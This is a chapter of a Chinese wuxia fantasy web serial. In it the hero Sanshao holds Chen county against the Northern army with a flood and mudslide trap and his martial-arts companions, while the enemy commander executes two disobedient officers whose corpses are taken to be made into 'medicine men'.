重生之绝色风流(全)-24 - PWXXX视频
精品分类
本站推荐
合作伙伴
重生之绝色风流(全)-24
分类:长篇连载 人气:502 时间:2024-09-24
~第三章 万夫莫敌 第二节~
午后湿风渐起,乌云从北边升起,顷刻之间就席卷了大半天幕。
天色陡地阴沉下来,燥热的夏日午后顿时变得无比闷热。
陈县县城两边的山上,无数知了烦燥不安地叫着,令人窒息的气氛中,一道滚雷惊破了沉闷的天地。
豆大的雨滴落下,雨落声将天地间所有的声音尽数掩盖。狂风陡起,两边山上的林木疯狂地摇摆,雨滴尽可能倾斜地落下,在风力的帮助下打得人面颊生痛。
县城下面被火烧得通红滚烫的地面冒起了阵阵青烟,地面迅速地冷却下来,从两边山上窜下的小股雨水汇成一道道小溪,顷刻间就在县城下面的路面上积起一汪汪小水潭。
三少站在县城城墙之上,打着油纸伞,自语道:“火计的确是行不通了。可是这般大的风雨,你们想冒雨攻城却是休想。神弓营的箭手再厉害,也无法在这么大的风雨中把箭射准吧?哼哼,没有火计,本少爷还有水计!”
这时,怒横眉冒雨飞奔而来,奔到三少身旁时,一把抹掉脸上的雨水,兴奋地道:“三少,山上的兄弟筑起的水匣内已经蓄积了不少雨水,这雨还有半个多时辰可下,到时候足够蓄积大量雨水,将敌军冲个落花流水!”
萧天赐亦飞奔而来,道:“三少,城里所有的水渠都已经堵好,雨水已经积蓄不少,有的水渠已经完全漫了,水漫到了街上。照这个情形下去,半个时辰之内,县城里将会变成一片水乡!”
三少闻言呵呵一笑。
早在第一阵公子苏兵败退军之时,三少便派了一千禁军上到两边山上,伐木垒石建匣,将山上的溪流水道全部堵塞以积蓄雨水。夏日阵雨持续时间虽短,但是雨水却特别充足。蓄够了足够的水之后,只等北疆铁军进军县城城下,三少便会下令毁匣放水。
到时积蓄的雨水汹涌而下,其威力绝不逊于山洪。加上两边山体已被三少派人人为破坏,石头被撬松,树木根须被截断,大水冲刷之下,说不定还会形成相当可怕的泥石流。
就算公子苏的大军能突破这一道水关,冲进县城,县城里所有排水的沟渠都已被三少派人堵上。陈县县城很快就会变成一片水乡泽国,无论步卒、骑兵进入陈县之后便都会行动不便。而三少的人则早已寻找制高点潜伏起来,准备用弓弩加以狙杀。
北疆神弓营是一大敌,但是三少的人是分散潜伏于县城各处,神弓营再厉害也无法发挥出箭阵的威力。三少已决心不在城墙上与北疆军多作纠缠,否则还真没办法应付神弓营的箭!
但是城墙亦不可不守,否则让北疆军进来得太容易了,也是不大划算。所以三少决定,由他本人加上乔伟、黎叔、怒横眉、萧天赐五人把守城墙。
五大高手在此,北疆军即使想冲进来,也要付出相当大的代价!
公子苏负手站在帐蓬里,看着外面连绵一气的雨幕,向身后诸将发布命令:“前锋营剩余将士编入敢死营中,雨停后与敢死营作第一轮进攻。突击营剩余将士编入绝灭营中,在敢死营之后作第二轮进攻。神弓营负责掩护,轻骑营随时准备出击,待城门和城墙被控制后即火速突袭。元罪、元大、元恶、元极四位将军何在?”
“罪大恶极”四魔使穿着锃亮的铁军黑甲,上前一步,拱手齐声道:“末将在!”
公子苏令道:“元罪将军率死士营一千兄弟、元恶将军率铁卫营一千兄弟与敢死营同时发动进攻。两位将军麾下都是精锐高手,还望两位将军领军建功!元大将军率血刃营一千兄弟,元恶将军率暗影营一千兄弟策应绝灭营!”
死士营乃是魔门迷云宗弟子编成,铁卫营是魔门金钢堂弟子编成,血刃营自然是由魔门血刃堂弟子编成的,而暗影营则是由魔门暗影堂弟子编成。
魔门三宗五堂,弟子无数,高手如云,这次公子苏派罪大恶极四魔使率一宗三堂的精锐弟子同时出击,又有北疆敢死营、绝灭营两营两万士卒,加上前锋营与突击营剩下的五千余士卒,合计近三万人作第一、二轮进攻,务求一举命下陈县。
少顷,雨霁云收,太阳重新出现,金色阳光照耀大地。
夏日阵雨来得快去得也快,碧蓝的天空刚被雨水洗过,愈发蓝得迷人。天边一道七彩弯虹,更是为这有着朵朵白云的蓝天更添几分迷人风彩。
可惜,这迷人风景却并无几人欣赏,一场生死决战在雨这之后,即刻展开。
喊杀声和战鼓声撕裂空气,北疆铁军如潮水一般涌向陈县县城。
元罪、元恶率死士营、铁卫营冲在最前,身后便是敢死营一万两千余士卒。
地面上的积水被数万只大脚踏碎,溅成串串浑黄的水珠,眼见他们便要冲至县城城下,只听县城城墙上一声锣响,两边山上便传来阵阵喧嚣,然后便是水流滚滚的轰隆之声。
元罪、元恶两兄弟对视一眼,心中齐齐一惊。二人分向左右两边山上望去,只见两边山上突然同时涌出滚滚浊浪,顺着山势汹涌而下。那大浪中还夹着一根根粗大的圆木,一块块棱角峥嵘的巨石。浊浪所过之处,已被人为破坏的山体禁不起这般冲蚀,纷纷崩溃,土石汇入水流之中,形成一条条长满怪角的褐黄色水龙,张牙舞爪地向着山下奔来。
元罪、元恶失声惊呼:“泥石流!全军撤退!全军撤退!”
北疆军士卒不待两位领军将领提醒,便已觉出威险,当下保持阵形,以比来时更快的速度后退。而元罪、元恶率领的两营魔门弟子冲在最前,若要后撤则要等后面的敢死营、血刃营、暗影营、绝灭营撤退之后方能后撤。
元罪、元恶见状,当即放声狂呼:“死士营、铁卫营的兄弟随我二人冲啊!”两人不退反进,施展出生平最快的身法,朝着县城城门方向掠去。而死士营、铁卫营的士卒也知道现在撤退已来不及,唯一的出路便是前冲,在泥石流冲到之前,闯入县城之中。
两营魔门弟子均是魔门精锐,放到江湖上,都是一流好手,他们全力施展之下,轻身功夫自是相当不错。只见两千零二条人影犹如两千零二道黑色的箭矢,破空嗖嗖射向陈县县城。
这时,山两旁的泥石流已席卷而下,轰隆巨响声中,那起码七成是土石木头的泥石巨龙涌下了山坡,涌到了路上,将不及撤退的北疆士卒席卷入内,瞬间便将他们的身体连同生命一起吞没。
两边的泥石泥汇聚到一起,然后向着北疆军后撤的方向尾随冲去,沿途不断吞没北疆士卒。陈县县城方向地势较高,自然不受泥石流的威胁。
元罪、元恶率领的两营魔门弟子虽然冲得甚快,但仍有三百余人给泥石流卷入。运气好的,还能凭借一身功力从泥石流中反冲出来,运气差的,则直接给洪泥中夹杂的石块、木头生生碾死了。
当泥石流彻底停止之时,北疆敢死营的士卒已有大半给吞没其中,活下来的不过十之八九。这一水攻,又令北疆军损失惨重!
而元大、元极率领的血刃营、暗影营及绝灭营因为冲锋位置处于后面,后撤时要方便得多,无一损伤。
近万敢死营的士卒死于这人为天灾,公子苏不由气得三尸神暴跳。不过他迅速冷静下来,飞快地分析判断形势。
此时道路已被泥石流彻底截断,兵马再无法通行。步兵尚可勉强通过,骑兵则是寸步难行。若要以人力硬行开通道路,则需花费一到两天的时间。
而若折返绕路的话,则需重新折返走一百多里路回到那三岔路口前,再选择陆平野或是野三关一途,那样的话,大军便要多走两百多里冤枉路。
无论选择那种方式,误了行军时辰不说,都会令麾下将士极为劳累,这对将士们的士气将是一个极其沉重的打击。
想到这里,公子苏不由又是一阵气苦。在陈县县城前耗了大半天,连敌军将领的面都没会到,便已折损两万多北疆悍卒。更令他气愤的是,魔门护法古长空这级数的高手连同一千奇袭营的高手全都莫名消失。魔门的高手本来是用作奇袭破城用的,现在却在这小小陈县折损这么多,以后的战局怎能顺利?
“先是火攻,然后借天势用水攻,这守陈县的敌将究竟是谁?左元放公究竟怎样了?他怎可能连陈县都拿不下?”公子苏边喃喃自语边苦思对策。
另一边,元罪与元恶率两营剩余的一千八百余魔门弟子已冲至陈县城下。
陈县大门如前两次般大开,元罪元恶虽然颇为自负,但前两次古长空及前锋营、突击营惨败的遭遇已使二人留上了心。二人见已避过泥石流之祸,回头一看泥石流又已停止,也无心攻城,即令下属弟子顺原路返回。
他们冲向城门原本就是避难来的,并没存着凭千多人攻打陈县的心思。现在见祸患已了,哪有不撤的道理?
只是这个时候,他们即使想撤,也由不得他们了!
县城之上亮起九十九道金色的流星,尖利的破空声犹如鬼哭狼嚎。哧哧连响中,九十九名魔门弟子同时截倒在地,每个人的天灵盖都被一枝或长或短的金箭射穿!
元罪、元恶神情一变,两人对视一眼,齐声道:“是萧天赐!”然后二人火速后撤,但还没掠出十丈,便听一声平地惊雷一般的声音在二人耳畔响起:“幻——魔——手!”
这声音仿佛来自九幽炼狱的魔音,随着这把声音,一双晶莹剔透、如梦似幻的手突然在二人身前出现,就好像这两只手原本就存在于这里,一直在等候着二人一般。
两人齐声怪叫:“幻魔真君!”怪叫声中,两人同时劈出一掌,与那两只突兀地出现在空气中,看不到手腕、手臂以及手的主人的怪手硬拼了一记。
砰砰两声巨响,元罪、元恶陀螺般旋转起来,旋转时两人的身上泛起阵阵晶莹如玉的光芒,然后两人身上洒下片片钻石粉尘一般的粉末。两人的身子顿时越来越小,转到后来,地面上只余一地晶莹的尘末,两人则早已消失无踪。
直至此时,黎叔的身影才从虚空中显现出来。
“幻魔随心”,变幻不定。空间在幻魔手之下不复存在,幻魔手可以在瞬间击到任何一个他想击中的目标。与“岁月不饶人”一样,“幻魔手”亦是不属于人间的武功!
三少、乔伟、怒横眉、萧天赐均自城下跃下,与黎叔一起,闯入了那剩下的一千七百多魔门弟子群中。三少手持混天绫,内力到处,化布为剑,两丈长的混天绫抖得笔直,一剑挥过,便是十多个人头落地。
乔伟在人群中如鬼魅一般穿梭,他每到一处,那一处的时间便会停止流动,然后在他身上某个部位触碰到那处的魔门弟子之后,时间这才再度开始流淌,但是时间的流淌却被放快了数千倍,凡被他触碰到的魔门弟子,无不在瞬间就风化成尘。
怒横眉一身暴雷真劲运至极处,身周三丈之内尽成真空。凡进入他身周三丈的魔门弟子,无不被暴戾的真劲震得骨断筋折,吐血而亡。而他一双拳头更是可怕至极的凶器,双拳奇快绝伦地连环击出,拳劲隔空九丈便可将人打得粉碎。
萧天赐左手持银弓,九十九枝金箭往来飞射。一箭射出,必有一名魔门弟子倒地,收箭时箭上系着的天蚕丝亦如钢剑一般,将碰着天蚕丝的魔门弟子切成数截。
血雨漫天,人头西瓜般乱滚。这一千七百多魔门弟子虽是魔门一等弟子,在江湖上算是一流好好,可是在三少等五大高手联手合击之下,不消片刻便给杀了个干干净净。
杀尽这群魔门弟子之后,三少等飞快地退回城中,抓紧时间调息运功,补充耗掉的内力。
道路被阻,公子苏等人的视线亦被阻断,没人看清县城那边发生了什么事情。
公子苏嗅着空气中传来的浓烈的血腥味,摇了摇头,道:“元罪、元恶将军……恐怕已经……”
元大、元极二人与元罪、元恶是同胞兄弟,四兄弟乃是同胎所生,心有感应,早知两位兄长已然遇难。二人望着陈县方向咬牙切齿一阵,同时向着公子苏跪拜道:“公子,末将愿领一军,为公子攻下陈县!”
公子苏道:“二位将军怕是要为二位的兄长复仇吧!”
元大抬起头,目光炯炯地看着公子苏,道:“公子,我们四兄弟同生共死,兄弟战死,我们二人若不能为兄弟复仇,又有何面目存活于世?”
公子苏缓缓道:“陈县之敌强得超出了我们的预料,直至现在,我们还不知道究竟是谁在把守陈县。可是从这三阵的战局看来,陈县守城之将,不但谋略过人,手下更有一队强得可怕的高手。所以本公子猜测,守城的,很可能是逍遥山庄或是铁血啸天堡的人。如果真是逍遥山庄和铁血啸天堡的人,我们用添油战术只能是损兵折将,自取灭亡。只有大军齐进,以优势兵力踏平陈县!今日三战,我方已损失两万多精锐士卒,更损失了古长空将军、元罪、元恶两位将军,本公子再也不能忍受任何形式的损失了!所以,两位将军,恕本公子不能应两位将军之请!”
元极红着眼睛说道:“公子,末将愿以私人身份出战!”
公子苏微怒道:“元极将军,我们现在是在打仗,是在作争夺天下的决战,不是江湖上打打杀杀的私人恩怨!万事要以大局为重,将军如此沉不住气,将来怎能承担要任?”
元极嗡声嗡气地道:“末将本来就没打算承担什么要任!不能为哥哥报仇,本将活着跟死了也没什么区别!”
元大点头称是:“公子,末将愿与四弟以私人身份,仅率本部一千士卒出战!”
公子苏阴声道:“你们两个敢违抗军令?”
元大道:“将军若不依末将兄弟之请,末将与四弟便自领麾下军士出战!”说罢,与元罪站起身来,向着公子苏一拱手,便大步向帐外行去。
公子苏深吸一口气,阴森森地道:“然则,两位已犯下违抗军令的死罪!”随手一掌拍出,掌上生出一片黑雾,将元大、元极笼罩在内,二人骇然回头,道:“灭……神……”
最后一字尚未说出,二人已经气绝而亡。
~第三章 万夫莫敌 第三节~
元大、元极的尸身上泛着一种古怪的青黑色,两人最后的表情满是惊骇之色。
公子苏的手掌并没有碰到他们,凭二人的功力,一般隔空掌劲根本无法杀死他们。可是现在他们却死了,死得彻底,死得干净,死得利落!
公子苏心中一阵惋惜。
元家兄弟都是不可多得的高手,但是军令不可违,若是有人公然违抗军令而不斩的话,那他这个领军主将也就当不下去了。
更何况,华蓉曾私下让他寻机杀了罪大恶极和古长空。公子苏虽不情愿,可是现在却也不得不杀了。
公子苏看着二人的尸体,淡淡地道:“来人,把他们抬下去,好好安葬。二位将军虽然违抗军令,犯了死罪,但是他们毕竟是为兄长复仇心切,其行虽可诛,其情却可悯。算他们一个战场殉身吧!”
当四名卫兵将元大、元极的尸体抬下去之后,公子苏即发令道:“传我令,全军动员,排除道路淤泥,尽快打通道路!诸位将军,我们携带的军粮已然不多,若不能尽快打下陈县,将士们就要挨饿了!所以,我们已无法回头,只能尽快进军!”
帐内众将哄然应诺,纷纷出帐,去动员下辖将士了。
那四名抬着元大与元极尸体的卫兵刚一出营,便被一名黑甲士兵拦住。“代门主有令,将两位魔使的尸体抬到代门主处,由代门主处理。”
那四名卫兵顿时一脸愕然,其中一人道:“代门主怎会知道两位魔使死了?”
那黑甲士兵笑道:“代门主自然知道。元罪、元恶两位魔使战死,元大、元极两位魔使兄弟情深,自然会想领兵复仇。但是公子苏以大局为重,肯定不会允诺。照两位魔使的脾气,必会抗命不从。军中军令如山,若不杀两位魔使,公子苏何以正军令?”
那四名卫兵中一人道:“这些话谁教你说的?”
那黑甲士兵笑道:“自然是代门主告诉我的。我哪里知道这么多呢?好了,别废话了,代门主正在帐中等着呢!”
当下那黑甲士兵领着那四名抬尸体的尸兵,绕过公子苏的中军大帐,一路向后行去,到了后军之中一座宽敞精致的营帐前。
那营帐与周围的营帐隔得甚远,四周有近千名刀甲鲜明的卫兵守护,自然全都是魔门弟子。
其中竟还有两百名身穿秀气盔甲的女兵,个个长得如花似玉,体态神情之中有着说不出的妖娆。
那黑甲士兵与那四名卫兵将元大、元极的尸体抬到帐前,那黑甲士兵朝着帐蓬里面恭声道:“禀代门主,两位魔使的尸骨已抬来了。”
里面传出华蓉的声音:“把尸体放在帐前,你们先退下吧。”
待那四名卫兵将元大、元极的尸体放下后,那黑甲卫兵即带着四人退下。
过了片刻,帐中出来两名女兵,很轻松地拖着两具尸体进了帐中。
华蓉身着红色盛装,坐在一张长桌之后,待那两名女兵将二人的尸体拖进来之后,挥退帐中侍立的几个女兵,缓步行到二人尸身前,观察了一阵,轻笑自语:“公子苏果然好手段,虽然杀了你们,可却没损坏你们身体半分。西门无敌的尸体破损太多,虽然炼制药人已近成功,可是威力却大打折扣。你们二人功力犹在,身体又完整,正是炼制药人的理想材料!”
说罢,掏出两粒小小的药丸,塞进了二尸口中,又给二尸各灌了一口温水,行功化药,令药力直达肺腑。片刻之后,两尸上渐渐冒起一股泛着金属光泽的灰黑色光泽,两尸的皮肤渐渐变得犹如金属一般。
华蓉看着两具尸体,微微一笑,自语道:“炼尸比炼人要容易多了,炼人要二十年,炼尸却只要四十九天。嬴家的真龙宝鉴还真是好东西啊!呵呵,幸好嬴家的人不会魔法,不懂驱使尸体的功夫,否则的话,嬴家的药人,岂不是可有几千几万之多?那还有谁能撼动嬴家的统治呢?”
※ ※ ※ ※
“智者顺时而谋,愚者逆理而动,看来……公子苏还真能算得上智者啊!”三少坐在城头上,看着前方正干得热火朝天的北疆军。
他的面前摆着几碟子菜,现在正是晚饭时间。
乔伟端着碗饭,边大口大口地扒饭边含糊不清地道:“公子苏算什么智者?连输三仗,损兵折将,现在道路被堵,居然不撤军绕道,反而派兵开路,浪费时间和士卒体力。要是我,早就撤军了!”
“非也。”三少摇了摇头,用筷子指点着北疆军的方向,说道:“撤军绕道虽然看起来是正确的选择,实则不然。他若撤军,则需绕道至少两百多里。兵贵神速,纵然开路会浪费时间和将士体力,但绕道的话,岂不是一样?
“而且绕道需全军动员,每一个士卒都要全力奔驰,每个人都没办法节省体力。而开路,则可轮流行动,一部分将士开路,另一部分将士休息,能最大程度地节省体力,还可节省不少马力。
“更何况,他若绕道,便不能消灭我们这一军。我们能令他连败三阵,他自然知道我们是一路相当难缠的敌人,若不将我们消灭,将来必有大患。
“而且,他定然知道,他若撤军,我们会衔尾追袭,又会令他损兵折将,绕道绕得都不痛快。
“所以,他只能选择开路,之后与我们决一死战。凭他的兵力,若想消灭我们简直就是易如反掌。只可惜公子苏过于谨慎,这才连败三阵,若他一开始便大军齐攻,我们的火计就算能得逞,也无法彻底拦阻他的大军,至于水计,则更是没有施展的余地。”
三少说完之后,伸筷子准备去夹菜,却愕然发现,几碟子菜已经连一片菜叶都没留下。
乔伟和黎叔碗里堆着高高的菜,二人一边拼命地扒菜一边赞不绝口:“说得好啊三少爷!我们已经很久没有听到这么精辟的分析了!说得太好了,三少,您继续说!”
三少郁闷地叹了口气,说:“求求你们了,赏我口吃的吧!”
乔伟顿时作悲天悯人状:“三少爷,您这是什么话?小的哪敢不给您吃的?小的们吃的东西都是三少您赏的啊!来,三少,小的这就给您分点菜!”说着,他仔细地从碗里挑出一根比头发丝粗不了多少的肉丝,小心翼翼地放到三少碗里,说:“三少,您看小的对您是多么地忠心耿耿啊!这么大块肉排,小的都舍不得吃,都留给您了……您愣着干嘛?快吃啊,别这么感动,您看您,眼睛都红了,别哭,别哭,您要哭小的也得跟着哭了……”
黎叔义愤填膺地道:“老乔,你这是什么意思?这么小一条肉丝你也拿得出手?”说着,他从自己碗里挑出一根比乔伟那条稍粗一点,却短了近乎一倍的肉丝,放到三少碗里,说:“三少,您吃。我老黎不像老乔,他太小家子气。您看看,还是我老黎疼您吧?别,您千万别激动,您手别哆嗦啊!咦,嘴巴怎地也抖起来了?呵呵,没这个必要,小的对您好是应该的,您不必太感动了。吃吧,啊,别让老乔抢了……”
“啪”!三少终于捏碎了手里的碗……
※ ※ ※ ※
陆平野,秦风一剑劈倒最后一个胡族骑兵,抬头看了看那已经西斜的太阳。
阵地之上,伏尸遍地,到处都是无主的战马。
午后阵雨时,胡族突然发动袭击,雨水之中,骑兵行动不便,便由步兵首发攻击。胡族生活的北方大草原气候恶劣,胡族早已习惯了在这种环境中作战,甚至大风雪中都能来去自如,这点午后阵雨自然难不倒他们了。
地上陷阱虽多,但是胡族步兵小心前进,边冒雨前进边排除地上的陷阱,填平地上的沟渠。
风是从北方吹过来的,吹往秦军阵地方向。因此大风雨令禁军的弓弩失去了准头,弓弩完全失去了应有的威力。尽管一万禁军一刻不停地放箭,但是给胡族步兵造成的损伤也有限得紧。
在这个时候,休息了不长时间,功力还没有完全恢复的秦风,不得不领着三十六天罡、铁血少年团两千少年高手冲出阵地,冒雨迎击胡族步兵。
在雨中作战,秦风的天剑借助雨水得以更大限度得发挥,但是三十六天罡和铁血少年团的战力却受到了极大的压抑。而胡族步兵的战力则未受到任何压抑,依然凶猛。
恶战之下,秦风等并未能阻止胡族步兵冲入阵地。胡族步兵沿途毁掉所有的机关陷阱,冲到那土墙前时,更准备推倒土墙。
禁军士兵见弓弩失效,敌军又冲至阵前,纷纷跃出土墙,与胡族步兵肉搏,试图阻止胡族步兵推倒土墙。
又是一番恶战,风雨中杀声震天,禁军士兵虽然个个争先,舍生忘死地与胡族士兵作战,但是他们在战力上本就比胡族士兵逊了一筹。再加上暴雨如注,禁军士兵不适应这种天气作战,战力再逊一筹。而胡族步兵总计两万,在人数上又大大占优,因此禁军节节败退,死伤惨重。
阿蒙黎护见秦军的战力被暴雨极大的压抑,即下令所有的骑兵全军突击。虽然风雨限制了骑兵的机动能力,但是秦军土墙前阵地上的机关陷阱已差不多全部被毁,因此胡族骑兵可大肆进军,凭借数量优势压跨秦军。
胡族骑兵一出,秦风率领的三十六天罡、铁血少年团即撇下胡族步兵,迎向胡族骑兵。
这一次,再不是初战时那般一边倒的局面。胡族骑兵得了阿蒙黎护的命令,根本就不与秦风及他下属的高手缠斗,而是尽量绕过他们,直取土墙阵地。
秦风及他下属的高手能拦得住数千骑兵,却无法拦住数万骑兵。胡族大军从他们身旁绕过,在风雨中飞速杀向前阵,只留下四千骑与秦风等缠斗。
铁血少年团的少年高手们因风雨限制,轻功身法都无法最有效地发挥,初战时无一损失的铁血少年团,雨中大战时虽然亦斩敌无数,但自身也是伤亡惨重。
秦风与三十六天罡见胡族大军突袭土墙阵地,即突出四千胡骑的围困,赶往支援。但是当秦风赶到之时,为时已晚。胡族大军将战线拉得老长,展开全线进攻,步、骑联手合击之下,一万禁军迅速崩溃。然后胡族步兵飞快地毁掉那已被雨水冲刷得渐渐不稳的土墙,使骑兵得以通过。
等骑兵通过之后,步兵即留下三千殿后。秦风与三十六天罡从左杀到右,又从右杀到左,虽然斩敌无数,但仍无法阻止胡族大军通过阵地。
当雨停之时,一万禁军差不多全军覆没。而胡族骑兵则通过了足足三万,步兵通过八千。
三万八千胡军越过陆平野的战线,向着天京城方向滚滚而去。阵地上,留下殿后的三千步兵和四千缠着秦风及其属下高手的骑兵仍在拼死苦战。
日落之时,秦风等终于将七千殿后敌军杀了个干干净净,而此时敌军大部早已去得远了。那一万禁军死伤九千多人,最后完好无缺的活着的,只剩下不到五百。两千铁血少年团的高手亦战死四百有余,伤者上千。
幸亏那三万民夫早在第一仗结束之后便全部撤走,否则的话,那三万民夫只会沦为牺牲品。
六万胡族大军,通过三万八千,战死两万两千。以一万二千人的兵力杀敌两万两千,本应是个了不起的胜利,但是秦风却没有丝毫高兴的感觉。
三万八千胡族大军,其中还有三万骑兵!他们虽然无法攻击天京城,可是他们若在天京城周围烧杀掳掠的话,天京城周围各城、乡、县、镇无一处有能力阻止他们!
秦风在京多年,深知胡族作战向来不喜多带粮食,所需全凭掳掠所得。若抢不到粮食,他们甚至有可能吃人!
一想到天京城附近的百姓可能要生灵涂炭,秦风便心如刀绞。杀尽殿后敌军之后,秦风顾不上休息,即飞身跃上一匹无主战马,边向着天京城方向冲去边吼道:“还能骑马的,都跟我去追胡族大军!留下一百兄弟,照顾重伤的兄弟们!”
三十六天罡,铁血少年团的少年高手,还有那幸存的禁军士兵,顿时在战场上各找了一匹无主战马,纵马跟在秦风身后追去,只留下一百禁军士兵清理战场,寻找己方幸存的兄弟,并给敌方没死透的补上一刀。
※ ※ ※ ※
在陆平野阵地失陷后不久,野三关阵地同样被破。
秦雷的勇武虽然一度震慑了胡族大军,但是胡族向来也是勇士辈出的民族,天性中都有不服输的勇悍血液。对胡族人来说,战死沙场,是勇士最好的归宿。所以在大雨刚落之时,野三关的胡族大军同样开始了突击。
持续了几个时辰的血战之后,野三关阵地失陷,胡族大军通过两万八千骑兵,一万九千步兵,合计四万七千人袭往天京城方向。
这一路的胡军总计七万,被秦雷领军斩杀两万三千,战绩比秦风更好。但是秦雷同样没有任何高兴的感觉。胡族借风雨突袭,禁军的弓弩却因风雨而失效,此战胡族可以说借了天时之利,加凭借优势兵力方才获胜。这令秦雷万般不服。
当杀尽殿后的胡军之后,秦雷亦领着战后幸存的一千多逍遥山庄精锐弟子及两百多个禁军士兵,尾随追去。
虽然胡族大军已经行了很远,但是秦雷相信,只要追上胡族大军,就算凭他手头上的兵力无法与胡军正面作战,但是如果打游击的话,他也可以慢慢将四万多胡军全部歼灭!
※ ※ ※ ※
陆平野与野三关的阵地虽然失陷,近九万胡族大军袭往天京城,但是凭他们的兵力,还是无法攻下天京城的。中路的主力,北疆十七万铁军,如今已只剩下十四万多,而且还被牢牢困住,寸步难行。只要令三路敌军无法合兵一处,京城暂时就没有大碍。
但是,胡族前军后方还有由胡族大帅兀哈尔统领的二十万大军,其中有三万是号称当世无敌骑兵的北疆铁军三万铁骑营骑兵,以及胡族最精锐的弓箭兵队伍——屠图哈族的两万弓箭手。
北疆铁骑营战无不胜,攻无不克,打野战的话,当世无人能敌。
屠图哈在胡语中是“弓箭之神”的意思。屠图哈族的战士不但马刀精湛,更有弯弓射雕,百步穿杨的本事。
若是那二十万大军到来,又不走陈县的话,即使公子苏率领的这一路北疆铁军未能与他们汇合,京城同样会陷入危急之中!
~第三章 万夫莫敌 第四节~
七月三十日,黄昏。
陈县城下被堵塞的道路已经被彻底打通。
公子苏看了看周围蓄势待发的绝灭、血刃、暗影三营,手中马鞭狠狠地挥下,三营一万二千将士顿时爆发出一阵惊天动地的呐喊,快步冲向陈县。
战鼓声惊天动地,所有的北疆军齐声呐喊,以助声威。
三营北疆军的两翼,神弓营的一万射手已经搭箭于弦,只待城头上一露出人影便放箭。
三营之后,又有三营计三万北疆步军轮番跟进,而两万轻骑营将士也已蓄势待发,只等城门一破便全军进攻。
公子苏的目光越过己方军士攒动的人头和片片如林的铁枪钢剑,紧盯着那大开的城门,他倒要看看,现在这陈县的守军,还有何伎俩可使出。
绝灭营的军士越冲越近,眼看离城门只有百丈之遥。
城墙上方突然同时现出数千条人影,公子苏一见城上人影出现便纵声喝令:“放箭!”
嗖——一阵撕裂空气的巨响发出,神弓营一万箭手同时放箭,一万枝铁箭如暴雨般射向城头,顷刻之间便将城墙上方的人影尽数覆盖。
城墙上方的人影全都倒了下去,公子苏嘴角浮出一抹冷笑,自语道:“在神弓营的强弓面前,再坚固的城墙也保不了你们的安全!跟我公子苏作对,只有死路一条!”
城墙之上,躲在箭垛后的三少看着倒了一地的稻草人,撇了撇嘴,对身旁的乔伟道:“北疆军就没一个眼力好点儿的吗?连真人跟稻草人都分不清楚。”
乔伟呵呵笑道:“这些稻草人扎得如此逼真,又穿着禁军战衣,北疆军能认出来才怪。”
三少点了点头,对乔伟、黎叔、怒横眉、萧天赐道:“神弓营放一次箭都要休息至少两刻钟,趁这段时间把兄弟们调上城头,射几轮箭便走。咱们几个去守城门!”
黎叔用铜镜向隐于民居中的禁军士兵们发出信号之后,便与三少等人自城墙上一跃而下,落到了城门之前,只余萧天赐一人留在城头之上。
公子苏远远地看着城墙上下的五个人,不由哑然失笑,对身旁诸将说道:“那五个人莫不是疯了?竟想以五人之力阻我十数万大军!”
公子苏身旁诸将均嘲笑不已,然而他们的嘲笑还没完,便听陈县县城那边传来一声高亢激昂的龙吟之声!
龙吟声中,只见县城城门前绽出一团耀眼的金光,待金光散尽之后,城门前的四个人中,站在最前面的一个已经穿上了一身古怪至极的金黄盔甲,身披黑色披风,手持一把两丈长的巨型斩马刀!
公子苏顿时色变,神情凝重地道:“那是……天兵龙吟……守城的,果然是逍遥山庄的人!”
而在后军的华蓉,也听到了那一声龙吟,她脸上略现诧异之色,自语道:“哦?原来是秦家三少在此守城,难怪久攻不下。嗯,他现在要出动龙吟了,看来也是守不了多久了……”
三少龙吟加身,斩马刀于城门前一横,面对着汹涌而来的数万敌军,纵声狂呼:“吾乃逍遥山庄三少秦仁!够胆的就放马过来,来一个我杀一个,来两个我杀一双!”
乔伟在三少身后大呼:“呔!此山是我开,此树是我栽,要想打此过,留下买路财!要敢说半个不字,哼哼,爷爷我管杀不管埋!”
黎叔一愣,心里琢磨开了:“咦——咱们这是在守城呢,还是在劫道来着?”
北疆军并没有多少人理会三少等人,事实上,北疆军这一次攻城,携带了不下百架云梯,他们本不必走城门的。然而,还没等北疆军把云梯架到城墙上,城头上突然现出三千禁军,手提强弓硬弩对着下面就是一通狂射。
北疆军毫无防备,他们以为城头的守军已经给神弓营射得死伤得差不多了,攻城时只有少数绝灭营的士卒携带了盾牌,谁会想到现在又突然冒出三千完好无损活蹦乱跳的禁军来?
挨了四轮箭雨,绝灭营的将士倒下三千多人,死得无比冤枉。
公子苏见状心头突地一跳,暗叫中计,此时神弓营的箭手们还没休息好,若让他们现在就放箭的话,第三次放箭就要休息更长的时间。但是公子苏已经顾不了那许多了,他不能眼睁睁看着自己的士兵任人宰割。
而当公子苏正准备下令放箭时,城头上的禁军突然又全都跑了个干干净净,城上城下又只剩下五个人!
公子苏气得脸色铁青,咬牙切齿地道:“娘的,这他妈是什么打法?京城的禁军什么时候学会打游击了?”
在公子苏的印象中,禁军向来是一支骄傲的部队,向来都喜欢硬碰硬地与敌人正面交战,可是现在看来,禁军的作战方式已经有了极大的改变。
萧天赐傲立城头之上,银弓在手,金箭连射,九十九枝金箭专捡北疆军的军官射。
而三少与乔伟、黎叔、怒横眉已经在城下开始了屠杀。
三少龙吟在身,全身上下都是凶器,那把巨型斩马刀杀伤半径足有十五丈,巨刀每一次挥出,十五丈之内的敌军皆被清空。
乔伟、黎叔、怒横眉策应三少左右,大肆摧毁北疆军的云梯,不消片刻便将北疆军的攻城云梯毁了个干干净净,令北疆军只得往城门进攻。
三少稳立于城门之前,不退半步。北疆军前仆后继,舍生忘死,欲攻破城门。
城门前尸积如山,血流成河,三少周围十五丈渐渐堆积起一圈小丘般的尸体,阻隔了三少的视线。北疆军同样也被自己同伴堆积起来的尸体阻挡,他们要向三少进攻,只有爬上那小山般的尸堆,踏着自己同伴的尸体攻向三少。
三少杀人无数,同时自己的功力也是急剧损耗。
他要固守城门,身法与速度完全没得发挥,只能站在原地不停地挥动那巨型斩马刀。斩马刀身射出长达十三丈的刀芒需要他的功力支撑,当他大量损耗之后,斩马刀的刀芒越来越短。十三丈、十二丈、十一丈、十丈……到后来,三少斩马刀已经只剩一丈刀芒,加上斩马刀本身两丈的长途,所能斩杀的范围只剩下三丈半径。
这时乔伟、黎叔、怒横眉也都到了三少身旁,协助三少固守城门。但是北疆军如潮水般汹涌不绝,尽管地上尸积如山,血流成河,死者无数,北疆军的士气依然未受打击,仍然不依不挠地前冲,试图以生命耗尽三少等人的功力!
